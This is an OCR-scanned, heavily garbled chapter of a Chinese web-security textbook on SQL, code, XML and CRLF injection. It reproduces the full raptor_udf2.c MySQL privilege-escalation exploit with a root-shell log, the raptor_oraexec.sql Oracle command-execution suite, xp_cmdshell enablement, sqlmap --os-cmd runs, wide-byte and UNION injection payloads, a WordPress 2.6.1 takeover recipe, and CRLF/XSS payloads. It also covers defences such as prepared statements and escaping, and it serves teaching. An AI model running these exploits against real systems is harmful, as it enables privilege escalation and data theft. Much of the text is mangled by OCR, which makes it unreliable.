JCHIE MIZAT mysql HEREI R 724 root I, % ELHE3R4S root ALK .

/
$Id: raptor udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $

raptor udf2.c - dynamic library for do system() MySQL UDF
Copyright (c) 2006 Marco Ivaldi <raptor@Oxdeadbeef.info>

This is an helper dynamic library for local privilege escalation through
MySQL run with root privileges (very bad idea!), slightly modified to work
with newer versions of the open-source database. Tested on MySQL 4.1.14.

See also: http://www.Oxdeadbeef.info/exploits/raptor udf.c

Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
for the security vulnerabilities in the handling of User Defined Functions
(UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
details, please refer to:

http://dev.mysqgl.com/doc/refman/5.0/en/udf-security.html
http://www.wisec.it/vulns.php?page=4
http://www.wisec.it/vulns.php?page=5
http://www.wisec.it/vulns.php?page=6

"UDFs should have at least one symbol defined in addition to the xxx symbol
that corresponds to the main xxx () function. These auxiliary symbols
correspond to the xxx init(), xxx deinit(), xxx reset(), xxx clear(), and
xxx add() functions". -- User Defined Functions Security Precautions

Usage:

$ id

uid=500 (raptor) gid=500 (raptor) groups=500 (raptor)

$ gcc -g -c raptor udf2.c

$ gcc -g -shared -W1l,-soname, raptor udf2.so -o raptor udf2.so raptor udf2.o -lc
$ mysgl -u root -p

Enter password:

[...]

mysql> use mysqgl;

mysqgl> create table foo(line blob);

mysqgl> insert into foo values (load file('/home/raptor/raptor udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor udf2.so';

mysql> create function do system returns integer soname 'raptor udf2.so';
mysqgl> select * from mysqgl.func;

=== Fe==== R femmmmm==== +
| name | ret | dl | type

fe=m=mm====== Fr===== fem============== === +
| do system | 2 | raptor udf2.so | function |
ffe========== Fe==== ffem============== fFe========= +

mysqgl> select do system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysgl> \! sh

sh-2.05b$ cat /tmp/out

uid=0 (root) gid=0(root) groups=0(root),1(bin),2 (daemon),3(sys),4 (adm)
[

L . S e S S . S N S S S N N S S S S S S A T e S S . S S S S . S S R S S N S
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*/

#include <stdio.h>
#include <stdlib.h>

enum Item result {STRING RESULT, REAL RESULT, INT RESULT, ROW RESULT};

typedef struct st udf args ({

unsigned int arg_count; // number of arguments
enum Item result *arg type; // pointer to item result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe null; // 1 for maybe null args

} UDF_ARGS;

typedef struct st udf init {

char maybe null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions

char TR // free ptr for func data
char const_item; // 0 if result is constant

} UDF INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is null, char *error)
{
if (args->arg count != 1)
return (0) ;

system(args->args[0]) ;

return (0) ;

}

char do_system init (UDF_INIT *initid, UDF_ARGS *args, char *message)
{

return (0) ;

}

R IX BRI AE MySQL 5 K2 Ji BURRAS R 32 BUBR G, - R HAEE A SCR Bt 2 5
AFFEBHIRARTE,  HaR[FHEKIZ S 0.

Ja R MR ENRE] T SN T ii——8 1L lib_mysqludf sys $24E LA BT RS0
A, Ho i BT REUE sys eval() Fil sys_exec()o

XS REH, # lib_mysqludf sys.so J:@f”ﬁlﬁﬂ? ST M B FIES4Z T - A£G UDF 2 =,
Al LUE ] sys_eval()2% B 50T R G ir

O sys_eval, PUTIEREMS, JERHHIRM.
O sys_exec, PUTAEE ML, FRHRE HEIRM].
O sys get, FRL— NI E.

O sys_set, BIAEESANHEA R,
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lib_mysqludf sys’ (AR SCAR B AT LAAE B 77 WOt gk A, A3 vkt F

$ wget --no-check-certificate
https://svn.sglmap.org/sqlmap/trunk/sqglmap/extra/mysqludfsys/lib mysqludf sys 0.0.3.t
ar.gz

$ tar xfz lib mysqludf sys 0.0.3.tar.gz

$ cd 1lib mysgludf sys 0.0.3

$ sudo ./install.sh

Compiling the MySQL UDF

gcc -Wall -I/usr/include/mysql -I. -shared lib mysqludf sys.c -o

/usr/lib/1lib mysqludf sys.so

MySQL UDF compiled successfully

Please provide your MySQL root password
Enter password:

MySQL UDF installed successfully

$ mysgl -u root -p mysqgl

Enter password:

[oool

mysql> SELECT sys_eval ('id');

o +
| sys eval('id')

B ettt et T e e +
| uid=118 (mysqgl) gid=128 (mysgl) groups=128 (mysqgl) |
e e e L T 4F

o +
| sys exec('touch /tmp/test mysql') |
R +
| O

o +

1 row in set (0.02 sec)

mysqgl> exit

Bye
$ 1s -1 /tmp/test mysql
-rw-rw---- 1 mysqgl mysqgl 0 2009-01-16 23:18 /tmp/test_mysq|l

H sk N L E sqlmap EEE L T LIk

$ python sglmap.py —u "http://192.168.136.131/sglmap/pgsgl/get int.php?id=1" --os-cmd id
-v 1

[...]

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: PostgreSQL

hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system

[

[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA

[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys exec' from the binary UDF file

do you want to retrieve the command standard output? [Y/n/a]l y

3 http://www.mysqludf.org/lib_mysqludf_sys/index.php
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command standard output: 'uid=104 (postgres) gid=106 (postgres) groups=106 (postgres) '

[hh:mm:19] [INFO] cleaning up the database management system

do you want to remove UDF 'sys eval'? [Y/n] y

do you want to remove UDF 'sys exec'? [Y/n] y

[hh:mm:23] [INFO] database management system cleanup finished

[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

UDF AMUAE MySQL FFstE,  JAt Kot e thAT U Dh g AU UDF (D) g St B0
BT KR NS, 2 D Bk e R A DG SR AT B s o

7E MS SQL Server 1, W LA HAE A7 FE “xp_cmdshell” $4T R Gedn & A IRAE
N CBGEAEERRE ThkE).

1. Oracle 4 2, An LRSS 253 [FIN AL Java FREE, A 0] GEIE a2 AT . 24 SQL
HENJE AT DHAT Z BRI LT, AL Oracle 1A% Java A I FEAT RGE AT 2

[ LAEWTE MM T —A POC, WTLMENSH .

-- S$Id: raptor oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $

-- raptor oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@Oxdeadbeef.info>

-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java) .

-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system

-- commands" -- David Litchfield (http://www.databasesecurity.com/)

-- Usage example:

-- $ sglplus "/ as sysdba"

== [[ooo]

-- SQL> Qraptor_oraexec.sql

== [looo]

-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -1 > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -1 / > /tmp/bbb');
-- SQL> exec dbms java.set output (2000) ;

—-— SQL> set serveroutput on;

-- SQL> exec javareadfile('/tmp/mytest');

-- /bin/ls -1 > /tmp/aaa

-- /bin/ls -1 / >/tmp/bbb

-- SQL> exec javacmd('/bin/sh /tmp/mytest');

-—- SQL> !sh

-- $ 1s -rtl /tmp/

== l[oocol

-— —Irw-r-—-r-- 1 oracle system 45 Nov 22 12:20 mytest

-- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa

-- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb
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create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
/*
* Command execution module
*/
public static void execCommand (String command) throws IOException
{

Runtime.getRuntime () .exec (command) ;

/*
* File reading module
“y
public static void readFile (String filename) throws IOException
{
FileReader f = new FileReader (filename) ;
BufferedReader fr = new BufferedReader (f);
String text = fr.readLine();

while (text != null) {
System.out.println (text);
text = fr.readLine () ;

}

fr.close();

/*
* File writing module
=/
public static void writeFile(String filename, String line) throws IOException
{
FileWriter f = new FileWriter (filename, true); /* append */
BufferedWriter fw = new BufferedWriter (f);
fw.write (line) ;
fw.write ("\n") ;
fw.close();

-- usage: exec javacmd ('command') ;

create or replace procedure javacmd(p command varchar2) as
language java

name 'oraexec.execCommand(java.lang.String)';

/

-- usage: exec dbms java.set output (2000);

- set serveroutput on;

== exec javareadfile('/path/to/file');

create or replace procedure javareadfile(p filename in varchar2) as
language java

name 'oraexec.readFile(java.lang.String)';

/

-- usage: exec javawritefile('/path/to/file', 'line to append');

create or replace procedure javawritefile(p filename in varchar2, p line in varchar2) as
language java

name 'oraexec.writeFile(java.lang.String, java.lang.String)';

/



164  FETY Web %4

FORYL, AR T PAT RS A S, EORAAT RIS AR AR s i, RS
BT SRS R AR S0 .
ESENTHCHR PRI I 2B < foe/MBLBR SN 7, RS a2y Weeb I A Ko )26 (14 5 2
A

7.2.3 INHTFELTE

TERERLRE B AL T 3 K ThfE, &5 UDF 1818, {BfEfEL %048l CALL sk
EXECUTE HK#4T. 7 MS SQL Server #l Oracle s J5irh, #A KENE WA B3N
Yok (i R rp, A6 ok B o Mo 5 B AR IR

#£ MS SQL Server H1, FEfiidfE “xp_cmdshell” WEE RAWE T, TCEUN B & R4
F73:N\ SQL Server I &f H EHAT R 2

EXEC master.dbo.xp cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp cmdshell 'ping '

xp_cmdshell £ SQL Server 2000 HER U ZTF A 1), {H7E SQL Server 2005 A% LA A 1 )
BRI T o AR A U H Es 2 P A sysadmin AR, T LLSH sp_configure (SQL
Server 2005 15 SQL Server 2008) HUBJTJHE: WIERAE SQL Server 2000 H45H] T xp_cmdshell,
M) LUAE ] sp_addextendedproc JF /8 & .

EXEC sp configure 'show advanced options',1
RECONFIGURE

EXEC sp configure 'xp cmdshell',1
RECONFIGURE

Bk T xp_cmdshell 4b, 847 —LE AR A7Ag I R0 B it At 2 A 3 B ). ELl xp_regread
A AR R R

exec xp_regread HKEY LOCAL MACHINE,
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'

exec xp_regenumvalues HKEY LOCAL MACHINE,
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"

A AR R (A7 i 1 i A
O xp_regaddmultistring

O xp_regdeletekey

O xp_regdeletevalue

O xp_regenumkeys
O

xp_regenumvalues
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O xp_regread

O xp_regremovemultistring

O xp_regwrite

BeAh, DU R ARt R B AR A

O xp_servicecontrol, VI AN 1Rk . il

(exec master..xp servicecontrol 'start', 'schedule'
exec master..xp servicecontrol 'start',6 'server')

O xp_availablemedia, /AL AT UK E)EE o

O xp_dirtree, VPR —AH 3544 .

O xp_enumdsn, #2855 % F1) ODBC ##i ik o

O xp_loginconfig, FREUIRS: &% %415

O xp_makecab, FCVFHIJEMRS & LB — 4301
O xp_ntsec_enumdomains, 512} 55 % m] LLIE A3

O xp_terminate_process, #EALBEFERIHERE ID, 21 HRER .

B TR ARG R R BG A, A S T RS FEEART . JATE T A
PL/SQL )41

procedure get item (
itm cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar?2)
is
open itm cv for ' SELECT * FROM items WHERE ' ||
'owner = '''|| usr ||
' AND itemname = ''' || itm || '"''"';
end get item;

XA L FE S, 2B usr Ml itemname #B72 HAMBAENRT, HARLAT AR, K EH
it il SQL YEA @ . 7F Oracle 8, MTWEMNAMEIIREIER 2, REfFMEIIREART
AEArAE SQL AN, T 2R 5 g = .

7.2.4 475 [a] R

FEA LI, ANFK PR g T R S L. AR L, Hahld
CRET TR BNEABGEET .
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TEANBGE R S BIRG S 07 XG5 <7 SRR AT AN, JPRAEN T %4,

G SR U 7 KRB SUX SRR 7 0F o (H9BERIEME 7“9 7/ 87 I, nResrs
A AR I . Ehdn, 24 MySQL {1/ T GBK 4afidi, 0xbf27 Fl 0xbfSc #i<s 4 iAN
BN U .

0x 5¢c =\
0x 27 =’
Ox bf 27 = —

Ox bf 5¢ =#8 —> db interprets as a single chinese char

db interprets as 2 chars

B4 1) R
TMAERE AN B PEZ I, £E Web 155 AT 25 R 20U 75 A A7 A ), X745 P AF o
KA. Ll PHP 1) addslashes()PR %L, B Y magic_quotes_gpe JTJH I, ZS7ERFRK
FREATEGIN— AN U A7
addslashes() A2 5 S 4 74

Description
string addslashes ( string $str )
Returns a string with backslashes before characters that need to be quoted in database

queries etc. These characters are single quote ('), double quote ("), backslash (\) and
NUL (the NULL byte) .

SN P Y G E R AN

0xbf27 or 1=1

B

¢ 'orl=1

S U, 2R 0xbf5e27 (“\” 1) ASCIL i3k 0x5¢), {H OxbfSc S —ANFFF:
Ox bf 5¢ = #&

DR R A S A AR R B SCRE o N7, AR R i “madd “ 7, AR

& OR 1=1

TRPRIZI R, G HARE . ARG Web MR AR, DEREEX
FREBAFELER. 90 WEN UTF-8 & MR %,

BT PAHRBEIFARRT SQL MEN, Mt 2t £t iy #8 T GEA7AE B e, bE
Wife XSS Bradiitf, 330N as 5 S5 SRR P A AT g AN TR, AT B A7 AR AT AR MLy . i
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YTk E R AE HTML U1 i) <meta>bR 28 HH 5 € 24 A1 U1 Y charset.

R SESPARE L EE VPN P/otr v o G C B 38 L 1V g b E e e U T RS e o
FEH P TR LR B P A B AT eV L

Eblnl, GBK b Fr o A .

X DA fIRAE

GBK/1: GB2312 4E A4S Al~A9 || A1~FE

GBK/2: GB2312 ¥ BO~F7 || AI~FE
GBK/3: " AT 81~A0 || 40~FE
GBK/4: ¥ #RMF AA~FE || 40~A0
GBK/5: # sdEN T A8~A9 || 40~A0

FR 4 Z G0 A AN [R) 2457 S R B S - i AN B8 R 245 R VP, DASIEE e 4t g
7.2.5 SQL Column Truncation

2008 4 8 J1, Stefan Esser $2¢ T —#44 4 “SQL Column Truncation®” ¥ 7=, 7E3E:
LOREOLT, Mo REURA— e A .

7 MySQL FIFC & ik, H—A4 sql_mode &£, 4 MySQL ] sql-mode ¥ &} default
i, BV JFJ3 STRICT ALL TABLES &GRS, MySQL X1 H Pl A L SR
warning, A2 error (AT error WHHAA L)), X T RES REUR L8 “3RWr 7 W),

MRRLFEWT N (MySQL 5).

B AETT) strict #2,

sgl-mode="STRICT_ TRANS_ TABLES,NO AUTO CREATE USER,NO ENGINE SUBSTITUTION"

7E strict BEUR . BUABIA R 74T Sl 7 ACRERR S, PR 7 iR 1] error 56, (7]
I B i A AN o

mysgl> create table 'truncated test' (
-> "id’ int(11l) NOT NULL auto increment,
-> ‘username  varchar (10) default NULL,
-> “password’ varchar (10) default NULL,
-> PRIMARY KEY ('id')

4 http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities
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-> )DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.08 sec)

mysgl> select * from truncated test;
Empty set (0.00 sec)

mysgl> show columns from truncated test;

Fom Fommm - Fo———— +-———- fom——— Fom - +
| Field | Type | Null | Key | Default | Extra
o Fom +o—— +-——— fo——— fom +
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(10) | YES | | NULL |

| password | varchar(10) | YES | | NULL |

Fom Fommm - Fo———— +-———- fom——— Fom - +

3 rows in set (0.00 sec)

mysgl> insert into truncated test('username', 'password') values("admin", "pass");
Query OK, 1 row affected (0.03 sec)

mysgl> select * from truncated test;

fom e fom +
| id | username | password |
fom et B ettt +
| 1 | admin | pass |

fom fomm +

1 row in set (0.00 sec)

mysgl> insert into truncated test ('username', 'password') values ("admin =M
"new pass");

ERROR 1406 (22001): Data too long for column 'username' at row 1

mysgl> select * from truncated test;

fom Fomm +
| id | username | password |
T fomm - +
| 1 | admin | pass |

ot ——— e +

1 row in set (0.00 sec)

B PHT strict EIRE

sql-mode="NO AUTO CREATE USER,NO ENGINE SUBSTITUTION"

Kol e HOR [B]—A warning 5 &, AREARAEA ).

mysgl> select * from truncated test;

fom e fom +
| id | username | password |
fom et B ittt +
| 1 | admin | pass |

fom e fomm +

1 row in set (0.00 sec)

mysgl> insert into truncated test ('username', 'password') values ("admin =M

-> "new pass");
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Query OK, 1 row affected, 1 warning (0.01 sec)

mysgl> select * from truncated test;

Fom Fom +
| 1id | username | password |
ot Fo— +
| 1 | admin | pass |
| 2 | admin | new pass |
Fom - Fomm - +

2 rows in set (0.00 sec)

mysql>

SR I SR N A A ) 0 R AT A A J5 SR8 2 MR AN (R 55 AT e 2 3 AN 7] )32 4 1)
e EEANSRABL T AR A

Suserdata = null;
if (isPasswordCorrect (Susername, S$password)) {
Suserdata = getUserDataByLogin ($username) ;

EAEHIEX A SQL TR AR B ™ 44 Al it

SELECT username FROM users WHERE username = ? AND passhash = ?

EAR R B S m A A R A4 s, AT DGE R BIE. 722 R AL RE T, dniR R4t
OGP 4% R BEATHRL:

SELECT * FROM users WHERE username = ?
YUIRT B 233 i ST 7)o
FEIXA W) A G AN, WordPress gt UL T —A FUSE [ 4l ——

WM— 4k “admin (55 AN25%6) x” A, el DG SRS PR R )08 T,

Vulnerable Systems:
* WordPress version 2.6.1

Exploit:

1. Go to URL: server.com/wp-login.php?action=register
2. Register as:

login: admin x (the user admin/[55 space chars]x)
email: your email

Now, we have duplicated 'admin' account in database

Go to URL: server.com/wp-login.php?action=lostpassword

Write your email into field and submit this form

Check your email and go to reset confirmation link

. Admin's password changed, but new password will be send to correct admin email
Additional Information:

The information has been provided by irk4z.

The original article can be found at: http://irkd4z.wordpress.com/

R AN A TE O™ F I e s DR g By 25 70 e L e A X0 30 3 R, TR 3 AT 4R
SRIERE IR . Rk, BAVIEAREZM “SQL Column Truncation” [HfEE, KA

o O b W
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VR YRR, BT AL T .
7.3 IEGAHEBSTE SQL SEA

ARFEIHT TR NS T, BB kR, B AT B

(1) 4RI SQL FE NI

(2) EAMX L .

PRI IX AN T, gt e A OB E SQL v AT

SQL ¥ MBI AR —PF T i A, TFRE o S E NS0 X o L e
filt—2% escape AbFE, IXREARGEH . SHUT D

$sqgql = "SELECT id,name,mail,cv,blog,twitter FROM register WHERE
id=".mysql real escape string($ GET['id'l]);

UL IE FTE A R I

http://vuln.example.com/user.php?id=12,AND, 1=0,union, select, 1, concat (user, 0x3a, passwo
rd),3,4,5,6,from,mysql.user,where,user=substring index (current user(),char(64),1)

¥ 5¢1t mysql_real_escape_string /EFIVE NI . X AERHATINGE RUWTF o

[A°4 mysql real escape string() AN &5 M.

b}

o

o

O \r

O \n

O NULL

O Control-Z

RKIUAFAF, AEAGI SQL VEAFTEI ) Payload 58 42 BcH HI EIZ LA T4 -

IBRAE TR I — Loy 745, AT LA TE?  EbInAbERE S AR CRRS T ENIK
SeRR IR A, DA 8 SQL R ¥, tbin SELECT. INSERT %%,
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FCYIXP LT 2R R 5k, R B DA AL, RATEE P IS,
TEAN AN ZAE ] 2R 1 1)1«

SELECT/**/passwd/**/from/**/user
SELECT (passwd) from (user)

ANFEEFES . 351, Hrh 0x61646D696E 2745t admin [¥) 1753k HI 4 i«

SELECT passwd from users where user=0x61646D696E

MAE SQL {71, & “HAVING”. “ORDER BY” Z&#{n] BEtHILAE ARG S, A
PEATHYIE T B T Bt AT IR S ], NI iR, IR S i g

TR B Z AT IE Afg B 8 SQL 1 AR 2

7.3.1 {ERMMHmIFIEA

—RORUL B SQL IEAKRSRMAT K, BEMERHMGEEN, HeLR. WU Java
i 04 PE1¥) SQL i -

String custname = request.getParameter ("customerName"); // This should REALLY be validated
too

// perform input validation to detect attacks

String query = "SELECT account balance FROM user data WHERE user name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );

A Tidm B 1) SQL W), SQL WA A RAENAS . 78 SQL ilf)H, AFH 7KK,
Vi & JGiE L SQL (M2, A6 b il -1, RIMEBGE 2 46 AR LT tom' or '1'='1 I-FF H,
W 2 A AT 5 2448 username K AT 1.

i AE PHP HR & AR B .

Squery = "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,7?,?)";

$Sstmt = $mysqli->prepare ($query) ;
$stmt->bind param("sss", $vall, $val2, $val3);

Svall = 'Stuttgart';
Sval2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
$stmt->execute () ;

FEANFITEF H, #AT AL TG BB R IR 53

Java EE - use PreparedStatement () with bind variables

.NET - use parameterized queries like SglCommand () or OleDbCommand () with bind variables
PHP - use PDO with strongly typed parameterized queries (using bindParam())

Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
SQLite - use sqglite3 prepare() to create a statement object
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7.3.2 (ERFHEIRE

B T AE PR E A A, JRATIE T LIME ) R 2R RN BT SQL A . AL
RCRANE I 0 i Ve, JEDON SR AE AR R F5 2 50R SQL 1 )5 AR e o (H 5%
E%H‘J%,ﬁ%“ PR TFETEN W), DK Y 12 i G 7 A i R A 30 251K SQL

o IRTGIRE S, U2 ASE P P PR N i R G B e BOR AR B R N

T —ANE Tava TP AR R 5, T sp_getAccountBalance A& TG /EH s 12
€ SCUF Ak e o

String custname = request.getParameter ("customerName"); // This should REALLY be validated
try {
CallableSstatement cs = connection.prepareCall("{call sp getAccountBalance(?)}")
cs.setString(1l, custname) ;
ResultSet results = cs.executeQuery();
// .. result set handling
} catch (SQLException se) {
// .. logging and error handling
}

(ERA RN, AT RETCIEAL ] Pl il AU BRAF G R, 1A 707 SN HURE T IR Bl 31
NI PRI AS T3 Eok

7.3.3 KEHIEHLR

o A N EHE B 2R A, AEAR KL AT LI Bt SQL ¥

Petun N B, BRI T 4 AL SR L BE Y integer, 7EIXFIEOL T, 2T
NI
<?php

settype ($offset, 'integer');
Squery = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET S$offset;";

// please note %d in the format string, using %s would be meaningless
$query = sprintf ("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
Soffset) ;

2>

FoA ) Bt i AR A B AT 2 (0 FLAT 7 e AN BRI, A2 A i AR PO
s BN FYI, 20 ks F RNl . A% o, 455, FREIRE S Bl 3 R o
(HEE R A AR e, WURFRAUE H ZEH P A A A5 i, Bt —BURSC, A SR
M VERNE SQL IEA.

7.3.4 {FERAZEZEREL
— KA, SR Web 15 S ARSEIL T S ig R K, AT LA BT BT SQL N . HFT S 45
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TR M ) T, BULIRAT T A A LR . SIS, B
FIAEAE RO ILALE T “98 87,

bednge MySQL 1, 5 B LA T JE B 4 i 51

NUL (0x00) --> \O0 [This is a zero, not the letter O]
BS (0x08) --> \Db
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0xla) --> \z
" (0x22) —--> \"
% (0x25) --> \%
! (0x27) —=> \"
\ (0x5c) --> \\
(0x5f) —--> \
all other non-alphanumeric characters with ASCII values less than 256 --> \c

where 'c' is the original non-alphanumeric character.

RNy, ATELZ% OWASP ESAPI FFSEHL. RAREM LT HME, TR EI.

ESAPI.encoder () .encodeForSQL( new OracleCodec (), queryparam );

FEAS ]I -
Codec ORACLE CODEC = new OracleCodec() ;
String query = "SELECT user id FROM user data WHERE user name = '" +
ESAPI.encoder () .encodeForSQL( ORACLE CODEC, req.getParameter ("userID")) + "' and

— 1n

user password =
+ ESAPI.encoder () .encodeForSQL( ORACLE CODEC, req.getParameter ("pwd")) +"'";

Fedme e, WHUE P 5 (0 A BEAR U, A% A8 B/ MASURR SR I, 388 % Web 1 ] ELEAH ] oot
dbowner 25 FEALFRIK ™ ELRGEREAR I . WA 2 AN AN AR [ Hda i, IRy
GABEA N7 BEAS R R o Web NI (R0 Bt A 7, AN zoA G5 B 2 SCRRE $AF
A HSCAF IR o

7.4 HEHMEAWTL

BT SQL VAL, 75 Web %4 ST HoAb v A citi, X6y A S5 oh 404 0 7 P 15,
W IETS T “Hlm S0 B SR
7.4.1 XML jEN

XML &k RO 55 S bR B0 B 24T 25 (7R - XML 5 HTML # /& SGML
(Standard Generalized Markup Language, FrfEili AR ICTE S ),

XML 5 HTML —#f, AR AT, BT ARG LWARE AL e, B
ARG A > XML 3
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final String GUESTROLE = "guest role";

//userdata Ui IR MXMLEE, W T nameflemai L AN HEAS R IK £
String userdata = "<USER role="+
GUESTROLE+
"><name>"+
request.getParameter ("name") +
"</name><email>"+
request.getParameter ("email") +
"</email></USER>";
/1 RAFE XML A

userDao.save (userdata) ;
(ER=AE7 S EE DRy AP ISP =R AN /T = T A e AN i e (12 E DR AN 7/

userl@a.com</email></USER><USER role="admin role"><name>test</name><email>user2@a.com

IREE N XML SO F B 4 5

<?xml version="1.0" encoding="UTF-8"?>

<USER role="guest role">
<name>userl
</name>
<email>userl@a.com</email>

</USER>

<USER role="admin role">
<name>test</name>
<email>user2@a.com
</email>

</USER>

XML VEN, W E A EABGL PR P Refshl Bl i Rerrdfe: 7 8.
EEATTE L, 5 HTML EAREANT SRR, M MASE O r “iEEA L
MO B 547 BEATH SCRITAT, R B

static

{ // populate entitites
entityToCharacterMap = new HashTrie<Character>();
entityToCharacterMap.put ("1t", '<');

entityToCharacterMap.put ("gt", '>');
entityToCharacterMap.put ("amp", '&');
entityToCharacterMap.put ("apos", '\'');
entityToCharacterMap.put ("quot™, '"');

7.4.2 KREBFEN

ACHE VR N L 50l o ACHE VN 5 iy v ANAEAE S th— S8R 22 4 ) pR Bl 715 ik
1, Hrh s AR 2 eval()o W1

Smyvar = "varname";
$x = $ GET['arg'];
eval ("\Smyvar = $x;");

Wik al LB U0 R Payload SEEACADIE A«

/index.php?arg=1; phpinfo ()

FAEAEEEANIRF T, 5 “JaT117 B,



B8 FEABGE 175

£ Java H AT DUSERACRSVEN,  ELATRI Java HOBIAS 53

import javax.script.*;

public class Examplel {
public static void main(String[] args) {

try {
ScriptEngineManager manager = new ScriptEngineManager () ;
ScriptEngine engine = manager.getEngineByName ("JavaScript");
System.out.println (args([0]) ;
engine.eval ("print ('"+ args[0] + "")");

} catch (Exception e) {
e.printStackTrace () ;

}

Wi AT DL AZ i K«

hallo'); var fImport = new Javalmporter(java.io.File); with (fImport) { var £ = new
File('new'); f.createNewFile(); } //

AN, TSP HIEh4 include thAE S BUCILIE AN . kK1, PHP. JSP M54 include (S04
AR SEIRISIAT, #Ba] LS — RN .

<% String pageToInclude = getDataFromUntrustedSource(); %>
<jsp:include page="<%=pageTolInclude %>" />

AN Z WT AES, AR E A AT LG 27 A (Command Injection). Lt
i

<?php

Svarerror = system('cat '.$ GET['pageid'], $valoretorno);
echo $varerror;

?>

o — AN AN, BuhE T A system() B BT L AR B R G i 2 o
vulnerable.php?pageid=loquesea;ls
N C AN TEA T

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
char cat[] = "cat ";

char *command;

size t commandLength;

commandLength = strlen(cat) + strlen(argv[l]) + 1;

command = (char *) malloc (commandLength) ;

strncpy (command, cat, commandLength) ;

strncat (command, argv[l], (commandLength - strlen(cat)) ):;

system (command) ;
return (0);
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system() R BAEPAT IV, B Z A EE R 2 ke A, MGl T LA e E AN Ao IR
AT

$ ./catWrapper Story.txt
When last we left our heroes...

FENTAR

$ ./catWrapper "Story.txt; 1ls"
When last we left our heroes...

Story.txt doubFree.c nullpointer.c

unstosig.c WWW*X a.out*

format.c strlen.c useFree*

catWrapper* misnull.c strlength.c useFree.c
commandinjection.c nodefault.c trunc.c writeWhatWhere.c

KHARIEIEN . i TENE, T Z4EH] eval(). system()25 ] LT T & (K pE H. i —2
B IR S pR A, ) P A NS AT AN B . B4, #E PHP/ISP W87 include
TR, B A,

ARRETE NAEAE S (T ANZ A2 (R i A I BT 1, 168 bR BN 12 R e A 0T A AR
A RAAETF ARG WA L2 o O A8 LA T 1) o T8 £ 65 bR B30 SR T AT 5 1 Y 5 SR
SACTIDE IRt 3% S

7.4.3 CRLF EN

CRLF 525 [ WA 74F: CR /& Carriage Return (ASCII 13, \r), LF /& Line Feed (ASCII 10,
\n)o \f\n IXPAS AR TR IRATI, SN ERI SRS 430 0x0d. 0x0a.

CRLF 4 AN RE SCZ 8 120 B AF o IRIGIE L “3E N CRLF 2457, g ol GE s As [ A7
1 o

bedn, A£G, i CRLF A7 A REMIE H — 408K H . RImX BN, R8sk
W A8 BN H &GS E

def log failed login(username)
log = open("access.log", 'a')
log.write ("User login failed for: %$s\n" % username)
log.close ()

FEIEHAEOLY, Sids FanrT Hi&:

User login failed for: guest
User login failed for: admin

{2 T3 AT AT RT “\\n”, PRI Bt 2 N a0 F 20s iy, wltnl Be N — SR BIAME
H&id .

guest\nUser login succeeded for: admin

HESCEROEATR “\n” [IA4EAE, SN
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User login failed for: guest
User login succeeded for: admin

B AC R IER, admin HI P IFAS B8 R

CRLF JEAFFARAEM T log N, LT CRLF 52 73 K5 ¥ 5 8 m] REAFAEIX P
A, el “VEN HTTP 3k

76 HTTP #pirh, HTTP k2l “\en” SRpBan . BRI SS S in i A ok g “\i\n”,
T AT P AN RO G HTTP kb, WA Al fe R 8e e, iXFhE HTTP Sk /) CRLF
AN, XA[LAFKA “Http Response Splitting 7

MR AN I CRLF {8 Tk XSS Witi. /244 N CRLF “F5F:

<form id="x
action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert (/XSS/);</s
cript>" method="post">

<!-- input name="email" value="" / -->

<input name="password" value="testtest" />

<input name="origURL" value="http%$3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />

<input name="formName" value="" />

<input name="method" value="" />

<input type="submit" value="$E7%99%BB$E5%BD%95" />
</form>

A SER T K POST 153K, I AT LA B AL e

POST
http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert (/XSS/);</script> H
TTP/1.1

